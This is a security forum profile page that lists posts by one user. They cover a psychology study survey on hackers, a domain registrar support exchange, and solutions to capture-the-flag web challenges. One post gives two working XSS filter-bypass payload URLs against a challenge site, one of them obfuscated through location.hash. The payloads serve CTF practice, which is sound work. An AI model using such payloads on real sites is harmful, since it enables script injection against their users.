Jump to content

shark0der

Active Members
 View Profile  See their activity

  • Posts

    51

  • Joined

  • Last visited

 Content Type 

Posts posted by shark0der

  1. Studiu PSY - HACKING

    in Off-topic

    Posted

    10 hours ago, u0m3 said:

    Done.

     

    De curiozitate, cand vom putea vedea rezultatlele?

     

    Lucrarea va fi publicata pe 13 iunie. O veti putea gasi in linkul de drive din chestionar, alaturi de celelalte materiale.

     

  2. Studiu PSY - HACKING

    in Off-topic

    Posted · Edited by shark0der

    Salut,

     

    Un amic de-al meu, Alexandru B, fiind student la master in cadrul Facultatii de Psihologie, si-a ales tema de disertatie Criminologie Informatică: Particularitatile tulburarilor de personalitate ale hackerilor sub conditiile agresivitatii si stimei de sine si identificarea hackerilor "de mâine". Lucrarea presupune efectuarea unui studiu asupra catorva grupuri de persoane: non-hackers, white hat hackers, grey hat hackers si black hat hackers cu scopul de a sublinia aspecte psihologice ale hackerilor, in ideea in care in Romania nu a mai fost efectuat vreun studiu similar.

     

    Ma adresez tuturor care sunt interesati sa participe la acest studiu, sa completeze chestionarul de mai jos.

    Pot sa va asigur de urmatoarele aspecte:

     

    - Completarea chestionarului este anonima: nu se colecteaza date personale sau date care ar putea ajuta la identificarea participantilor la studiu
    - Chestionarul este construit folosind Google Forms care NU ofera informatii despre respondent precum email/cont Google/IP/tara/etc, si puteti chiar folosi Tor/VPN/proxy/etc alaturi de un throw-away account daca simtiti nevoia.

     

    Ca si multumire, in afara de faptul ca lucrarea va fi publicata, Alexandru va oferi si cateva materiale (carti, articole) pe domeniu.

     

    Rog seriozitate si pe cat posibil mai putin spam :)

     

    Link formular: https://goo.gl/forms/DhA7ElPVo1dYql5k2

     

    Multumesc,
    shark0der
     

    • Upvote 2

  7. 2 Very Hard xss challenges

    in Challenges (CTF)

    Posted

    I'll just leave this here:

    1.


    http://12342.site11.com/level1.php?a=%3Cinput/autofocus/onfocus=l=location.hash;location=l[i=1]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi]%2bl[%2b%2bi];//#javascript:alert(1);

    2.


    http://12342.site11.com/level2.php?a=%22%3E%3Cscript%3E1'alert(1)%3C/script%3E

  12. Hack My Site[Challenge]

    in Challenges (CTF)

    Posted · Edited by shark0der

    Nu te mai plange ca o femeie, SCD-ul nu era lasat cu intentia sa vada toti parola ta, daca intr-adevar ai fi vrut sa lasi SCD, trebuia sa o faci cu grija.

    PWND again!

    ZpCzIlB.png

    Si ca sa stii si cum am intrat de la bun inceput si pe tot parcursul challenge-ului:

    yI9CyvA.png

    XuVfGUT.png

    ScPeNaO.png

    P.S. I feel your pain, bro:

    HZxe889.png

    P.P.S. Pentru ca am fost intrebat de mai multe ori ce tool am folosit, here it is:

    https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

    ZAP-ScreenShotSearchTab.png

  20. Domeniu .me gratuit 1 an

    in Off-topic

    Posted

    OK, am scris 2 tickete la suport. Here's what they said:

    Aici am intrebat ce sa fac ca sa nu mi-l stearga si daca mi l-au sters din cauza schimbarii NS-urilor:

    Dear User,

    many thanks for getting back to us,

    > - How do I prevent the domain that I registered today from being

    deleted?

    As long as the name, address, and email contact are valid (as stated in

    your passport) you will not need to fear a deletion of your domain name.

    At Gandi we also want to ensure total security and integrity to our

    customers. This is why we are very conscientious with the rules and

    security measures.

    Consequently incomplete information fields such as first and last names

    are considered to be a serious fail for a registration.

    > - Was the DNZ Zone change the reason of domain deletion?

    Please be reassured. The deletion had nothing to do with your DNS zone.

    You are free to use the DNS from any other third party.

    I invite you to register you domain name a second time with all

    necessary details and please do not hesitate to contact us in case you

    need complementary information.

    Welcome to Gandi!

    Best regards,

    Emilie

    Aici ii rugasem sa-mi schimbe numele si prenumele:

    Many thanks for getting back to us and your wish to correct your entries.

    Valid last and first names are indeed very important for the

    registration of your domain names.

    Unfortunately we have no option other than kindly ask you to restart the

    account creation as we were forced to delete the invalid one.

    I am at your disposal should you need any further information.

    Thanks for choosing Gandi!

    Best regards,

    Emilie

    In concluzie, daca inregistrati cu nume reale, nu ar trebui sa aveti probleme.

    Bafta

  25. XSS Filter Bypass

    in Challenges (CTF)

    Posted

    @abraxyss: Din moment ce htmlspecialchars($text, ENT_QUOTES, 'utf-8'); e cunoscut ca bulletproof nu prea vad rostul sa fac ceea ce zici tu.

    Challenge-ul a fost mai mult un experiment pentru a valida o idee (o platforma de challenge-uri ca sa fiu mai exact si sa nu spuna cineva ca vorbesc bullshit-uri). Din pacate nu a fost prea activa lumea (~2000 de request-uri in 2 saptamaini), dar vedem.

×
×
  • Create New...